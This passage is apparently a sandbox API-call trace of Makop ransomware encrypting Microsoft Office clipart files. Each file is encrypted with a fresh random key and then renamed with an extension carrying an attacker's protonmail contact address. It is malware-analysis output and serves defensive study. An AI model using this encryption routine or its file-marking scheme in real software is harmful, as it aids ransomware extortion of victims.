RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.776] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.780] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.780] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.780] GetProcessHeap () returned 0x48a0000 [0109.781] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.781] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.781] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.781] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.781] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.781] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.781] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.781] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.782] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.782] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.782] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdc4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdc4, lpOverlapped=0x0) returned 1 [0109.782] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdd0) returned 1 [0109.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xdd0, lpOverlapped=0x0) returned 1 [0109.783] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.783] SetEndOfFile (hFile=0xf0) returned 1 [0109.789] GetProcessHeap () returned 0x48a0000 [0109.789] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.789] GetProcessHeap () returned 0x48a0000 [0109.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.790] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.792] CloseHandle (hObject=0xf0) returned 1 [0109.792] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0109.792] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0109.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.793] GetProcessHeap () returned 0x48a0000 [0109.793] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.793] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.793] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.798] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.798] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.798] GetProcessHeap () returned 0x48a0000 [0109.798] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.798] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.799] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.799] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.800] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.800] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.800] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9b8, lpOverlapped=0x0) returned 1 [0109.800] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9c0) returned 1 [0109.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9c0, lpOverlapped=0x0) returned 1 [0109.801] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.801] SetEndOfFile (hFile=0xf0) returned 1 [0109.808] GetProcessHeap () returned 0x48a0000 [0109.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.808] GetProcessHeap () returned 0x48a0000 [0109.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.808] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.810] CloseHandle (hObject=0xf0) returned 1 [0109.810] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0109.810] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0109.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.811] GetProcessHeap () returned 0x48a0000 [0109.811] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.811] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.811] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.811] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.815] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.815] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.815] GetProcessHeap () returned 0x48a0000 [0109.816] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.816] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.816] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.816] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.816] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.816] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.816] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.817] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.817] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.817] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x68c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x68c, lpOverlapped=0x0) returned 1 [0109.817] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x690, dwBufLen=0x690 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x690) returned 1 [0109.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x690, lpOverlapped=0x0) returned 1 [0109.818] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.818] SetEndOfFile (hFile=0xf0) returned 1 [0109.825] GetProcessHeap () returned 0x48a0000 [0109.825] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.825] GetProcessHeap () returned 0x48a0000 [0109.825] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.825] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.827] CloseHandle (hObject=0xf0) returned 1 [0109.827] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0109.827] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0109.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.829] GetProcessHeap () returned 0x48a0000 [0109.830] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.830] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.830] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.834] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.834] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.834] GetProcessHeap () returned 0x48a0000 [0109.834] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.835] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.835] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.835] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.836] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.837] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.837] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.837] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.837] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf38, lpOverlapped=0x0) returned 1 [0109.837] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf40, dwBufLen=0xf40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf40) returned 1 [0109.838] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.838] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf40, lpOverlapped=0x0) returned 1 [0109.838] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.838] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.838] SetEndOfFile (hFile=0xf0) returned 1 [0109.845] GetProcessHeap () returned 0x48a0000 [0109.846] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.846] GetProcessHeap () returned 0x48a0000 [0109.846] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.846] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.846] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.847] CloseHandle (hObject=0xf0) returned 1 [0109.848] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, 